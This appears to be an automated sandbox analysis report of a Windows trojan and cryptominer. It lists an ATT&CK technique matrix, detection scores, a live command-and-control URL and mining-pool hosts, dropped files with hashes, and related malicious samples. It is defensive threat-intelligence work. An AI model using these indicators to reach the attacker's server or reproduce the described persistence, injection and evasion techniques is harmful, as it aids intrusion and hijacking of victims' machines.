Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Rootkit	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Modify Registry	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	131 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	713 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Hidden Files and Directories	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	80%	Virustotal		Browse
file.exe	82%	ReversingLabs	Win64.Trojan.MintZard

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\IGaming\driver.exe	82%	ReversingLabs	Win64.Trojan.MintZard
C:\Windows\Temp\ftnvuqwjtdwb.sys	5%	ReversingLabs

Source	Detection	Scanner	Label
http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.php--c	0%	Avira URL Cloud	safe
http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.php)L	0%	Avira URL Cloud	safe
https://172.94.1q	0%	Avira URL Cloud	safe
http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.phpldn	0%	Avira URL Cloud	safe
http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.phpo	0%	Avira URL Cloud	safe
http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.phpaL(	0%	Avira URL Cloud	safe
http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.php	0%	Avira URL Cloud	safe
http://3csp.icrosof4m/ocp0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pool-fr.supportxmr.com	141.94.96.144	true	true	unknown
pool.supportxmr.com	unknown	unknown	false	high
198.187.3.20.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.php--c	dialer.exe, 0000002D.00000002.3378194513.0000021C6D165000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	lsass.exe, 0000001B.00000002.3372519545.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2121952764.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3372045209.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2121998643.00000140AD850000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	lsass.exe, 0000001B.00000000.2121952764.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3372045209.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	lsass.exe, 0000001B.00000000.2121952764.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3372045209.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/erties	lsass.exe, 0000001B.00000000.2121952764.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3372045209.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 0000001B.00000002.3372045209.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.phpaL(	dialer.exe, 0000002D.00000002.3378194513.0000021C6D165000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://3csp.icrosof4m/ocp0	lsass.exe, 0000001B.00000002.3380812837.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122868011.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	lsass.exe, 0000001B.00000002.3372045209.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://172.94.1q	dialer.exe, 0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xmrig.com/docs/algorithms	dialer.exe, 0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmp	false		high
http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.phpo	dialer.exe, 0000002D.00000002.3378194513.0000021C6D180000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust	lsass.exe, 0000001B.00000000.2121952764.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3372045209.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-trust/200512	lsass.exe, 0000001B.00000002.3372519545.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2121998643.00000140AD850000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	lsass.exe, 0000001B.00000000.2121952764.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3372045209.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.php)L	dialer.exe, 0000002D.00000002.3378194513.0000021C6D165000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.phpldn	dialer.exe, 0000002D.00000003.2147213918.0000021C6D181000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.micro	svchost.exe, 00000035.00000002.3378496559.000001A204EE0000.00000002.00000001.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
141.94.96.144	pool-fr.supportxmr.com	Germany		680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	true
83.217.209.235	unknown	Russian Federation		31514	INF-NET-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584229
Start date and time:	2025-01-04 22:57:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	18
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.spyw.evad.mine.winEXE@62/72@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 40.126.32.133, 40.126.32.74, 40.126.32.76, 20.190.160.17, 40.126.32.72, 40.126.32.136, 20.190.160.20, 20.190.160.22, 13.107.246.45, 4.175.87.197, 20.3.187.198, 20.12.23.50
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:58:05	API Interceptor	1x Sleep call for process: file.exe modified
16:58:06	API Interceptor	34x Sleep call for process: powershell.exe modified
16:58:42	API Interceptor	306678x Sleep call for process: lsass.exe modified
16:58:42	API Interceptor	383973x Sleep call for process: winlogon.exe modified
16:58:43	API Interceptor	3369x Sleep call for process: svchost.exe modified
16:58:45	API Interceptor	367857x Sleep call for process: dwm.exe modified
16:58:48	API Interceptor	1834x Sleep call for process: dialer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
141.94.96.144	egFMhHSlmf.exe	Get hash	malicious	Xmrig	Browse
	kWYLtJ0Cn1.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	FieroHack.exe	Get hash	malicious	Xmrig	Browse
	h2UFp4aCRq.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	curriculum_vitae-copie.vbs	Get hash	malicious	Xmrig	Browse
	curriculum_vitae-copie_(1).vbs	Get hash	malicious	Xmrig	Browse
	curriculum_vitae-copie.vbs	Get hash	malicious	Xmrig	Browse
	Vsob3IooE7.exe	Get hash	malicious	Xmrig	Browse
	GameBar.exe	Get hash	malicious	Xmrig	Browse
	FTrondtloadws.exe	Get hash	malicious	Xmrig	Browse
83.217.209.235	SecuriteInfo.com.Trojan.Siggen29.47910.18846.10721.exe	Get hash	malicious	Xmrig	Browse	83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pool-fr.supportxmr.com	SecuriteInfo.com.Trojan.Siggen29.47910.18846.10721.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	file.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	egFMhHSlmf.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	xmr_linux_amd64 (2).elf	Get hash	malicious	Xmrig	Browse	141.94.96.195
	xmr_linux_amd64.elf	Get hash	malicious	Xmrig	Browse	141.94.96.195
	SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	Q3pEXxmWAD.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	141.94.96.71
	kWYLtJ0Cn1.exe	Get hash	malicious	LoaderBot, Xmrig	Browse	141.94.96.195
	updater.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	fuckunix.sh4.elf	Get hash	malicious	Mirai	Browse	141.27.79.124
	fuckunix.arm.elf	Get hash	malicious	Mirai	Browse	194.95.45.209
	fuckunix.mips.elf	Get hash	malicious	Mirai	Browse	141.94.159.206
	31.13.224.14-mips-2025-01-03T22_14_18.elf	Get hash	malicious	Mirai	Browse	141.93.170.216
	2.elf	Get hash	malicious	Unknown	Browse	134.245.99.197
	DEMONS.ppc.elf	Get hash	malicious	Unknown	Browse	140.181.34.221
	armv7l.elf	Get hash	malicious	Unknown	Browse	141.33.21.24
	armv4l.elf	Get hash	malicious	Unknown	Browse	132.176.238.215
	https://mmm.askfollow.us/#CRD	Get hash	malicious	Unknown	Browse	141.95.98.65
	https://t.co/YjyGioQuKT	Get hash	malicious	Unknown	Browse	141.95.98.64
INF-NET-ASRU	Fantazy.mpsl.elf	Get hash	malicious	Unknown	Browse	89.169.70.231
	bot.mpsl.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	89.169.4.44
	bot.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	89.169.4.44
	bot.ppc.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	89.169.4.44
	bot.sh4.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	89.169.4.44
	bot.arm.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	89.169.4.44
	bot.x86_64.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	89.169.4.44
	bot.m68k.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	89.169.4.44
	bot.arm5.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	89.169.4.44
	bot.mips.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	89.169.4.44

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\ftnvuqwjtdwb.sys	hiwA7Blv7C.exe	Get hash	malicious	Xmrig	Browse
	5fr5gthkjdg71.exe	Get hash	malicious	Quasar, R77 RootKit	Browse
	aAcx14Rjtw.exe	Get hash	malicious	Xmrig	Browse
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer, Xmrig	Browse
	0Ty.png.exe	Get hash	malicious	Xmrig	Browse
	Qhx6a6VLAH.exe	Get hash	malicious	Xmrig	Browse
	88aext0k.exe	Get hash	malicious	Xmrig	Browse
	gaozw40v.exe	Get hash	malicious	Xmrig	Browse
	c2.exe	Get hash	malicious	Xmrig	Browse
	ldr.ps1	Get hash	malicious	GO Miner, Xmrig	Browse

Created / dropped Files

C:\ProgramData\IGaming\driver.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2867712
Entropy (8bit):	6.540079343872506
Encrypted:	false
SSDEEP:	49152:U7N5o20VC8FlpAi4y/8t6x4EBka+Okl5lo5V5i7b6LR7QY6Vtnah:c2VCkxp8t69kBOtVebk6q
MD5:	A03484846E3418FFA2AB8AEC97A03E88
SHA1:	54C62C97DB8B0234EEB7A03D66B73F9D1DC22614
SHA-256:	6932616523C8080FD908D4B776F416A4D32653E657C2CBE75A42CDC0A8B5C4D1
SHA-512:	0F1661DD055E34CA4C8F37BCCF1AEE739BE12A1C6836C0AF00C0C156E59E363CE0C59F4B0E1402D4367A3D9E3BABC00AA5C7E512579F9295942150539103BA8F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 82%
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d.....?g.........."......z...D+.....@..........@............................. ,...........`.....................................................<.............+...............,.x...............................(.......8...........X...X............................text...Vx.......z.................. ..`.rdata...............~..............@..@.data....++.......+.................@....pdata........+.......+.............@..@.00cfg........+.......+.............@..@.tls..........,.......+.............@....reloc..x.....,.......+.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kkabvpkw.ntx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r043ndhn.0jn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ui3z5s3s.gdn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y4ur20yo.jej.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	4680
Entropy (8bit):	3.71089105613399
Encrypted:	false
SSDEEP:	96:pYMguQII4i546h4aGdinipV9ll7UY5HAmzQ+:9A4i/xne7HO+
MD5:	D4EE2FEE0CAA590CB6CE9C7A24792B0E
SHA1:	3A7810748C7E1BC45DA8020E3595EB6EEE86E63A
SHA-256:	DF3CCEF56BEFA71A015CCE3F704C4618FADBCA8F89C439B1D960FB77A9B60FBF
SHA-512:	033E00B6CAA58E746AC441B80672E0674A725B3556289B1044CCC51F98DEA6794A4EA96F0D2026A2C79CBDBD8F53B67861B9D4791393F7E25C2E43854A1B4FAD
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...6.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.S.o.u.r.c.e.>.$.(.@.%.s.y.s.t.e.m.r.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.p.p.c...d.l.l.,.-.2.0.0.).<./.S.o.u.r.c.e.>..... . . . .<.A.u.t.h.o.r.>.$.(.@.%.s.y.s.t.e.m.r.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.p.p.c...d.l.l.,.-.2.0.0.).<./.A.u.t.h.o.r.>..... . . . .<.V.e.r.s.i.o.n.>.1...0.<./.V.e.r.s.i.o.n.>..... . . . .<.D.e.s.c.r.i.p.t.i.o.n.>.$.(.@.%.s.y.s.t.e.m.r.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.p.p.c...d.l.l.,.-.2.0.1.).<./.D.e.s.c.r.i.p.t.i.o.n.>..... . . . .<.U.R.I.>.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.S.o.f.t.w.a.r.e.P.r.o.t.e.c.t.i.o.n.P.l.a.t.f.o.r.m.\.S.v.c.R.e.s.t.a.r.t.T.a.s.k.<./.U.R.I.>..... . . . .<.S.e.c.u.r.i.t.y.D.e.s.c.r.i.p.t.o.r.>.D.:.P.(.A.;.;.F.A.;.;.;.S.Y.).(.A.;.;.F.A.;.;.;.B.A.).

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1079756391222424
Encrypted:	false
SSDEEP:	3:Nlllul0ll/lZ:NllUcl/
MD5:	C296B0C35354DD06C955237718AAC40C
SHA1:	DCE0F8D35974AA0AB49353CD949F2DD8F54B25FF
SHA-256:	A6D63E2AE04A32B3609B7886FBF4D1E0D37B6293C1E8CF6415FED4B76001FC8D
SHA-512:	1AEB19BF2D0C32B0E7ED32614AB1C0A263629D1D0967EAA4B6BFA6FCD81BCE0D0DCCCD596427880FCBC34D1911835FBD7364AE4002EDDCDA4BF63C66F42B7F75
Malicious:	false
Preview:	@...e.................................@..............@..........

C:\Windows\System32\winevt\Logs\Application.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	dBase III DBT, next free block index 1130785861, 1st item "**"
Category:	dropped
Size (bytes):	3680
Entropy (8bit):	3.976453520664781
Encrypted:	false
SSDEEP:	48:MLUBrP+yXCrPwfFRVEfWb3/Ooc07YytxsiDC39SqdrSDFDS0UDEOH:JtCrup/vOocaheiDCNjoFsJ
MD5:	A0CE04676DC4823E9F37FE61DA2A71EE
SHA1:	40C6D47D3DA6F2575223B094D40085734BA50964
SHA-256:	38015AC7E35374530D63205D10FB09719D7B1CBDE903005C184F33661B0F082B
SHA-512:	DC1820E33C3B18D95D1B18330F54B128F148B1DDE857EC42287FCDE2B398004D6219154B9AC24BFBB509D4B81C2C7C696A1F74B50271B7F0204B0B22F53C4698
Malicious:	false
Preview:	ElfChnk.................d.......f...........P...`.....\....................................................................../%.............................................=...........................................................................................................................g...............@...........................n...................M...]...........................j...............................&.......................................................................~...............**..X...d........L...^..........&.........}.]..+..$.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Z............{..P.r.o.v.i.d.e.r...7...F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.e.c.u.r.i.t.y.-.S.P.P.F........)...G.u.i.d.....&.{.E.2.3.B.3.3.B.0.-.C.8.C.9.-.4.7.2.C.-.A.5.F.9.-.F.2.B.D.F.E.

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.038021459059496
Encrypted:	false
SSDEEP:	768:PVUHiapX7xadptrDT9W84bW664k5Xyvk:OHi6xadptrX9WPbR
MD5:	56B9A271179BF003083C8002C7F5A875
SHA1:	69E0E10B48EB41FD650F3C9BAE65D49F27ADB313
SHA-256:	30512EBF0889D3AC4CE2612E994843DF72F0B48D24561B0E8FDF44ED199A2AF7
SHA-512:	0F6FDBC34E40413FA31E1CE1FCBE526434236213CEF3D5D5DE3205DD81A405CCD910DEBF533927302A08A17B71E03F0DEA9214F763BDA012C7FA0617BDF0A2AF
Malicious:	false
Preview:	ElfChnk.........P...............P...........`.......Cr`w......................................................................0`................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........r...................m..............qo...................>...;..................**..............4.9...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4013147639327475
Encrypted:	false
SSDEEP:	384:FhGN+3N6sNSNYNLNjNUSNbN6NHNRNbNYN0NsNZN7NhNLNPNhN8NdNixNAwNioNZs:FGvsbF1QBjr1xCKuL48fpoQ
MD5:	D352D15D6A29EC818FCCB7D131D827B4
SHA1:	E83944244EF8A5B84B6A8DF486A5A5801937ED51
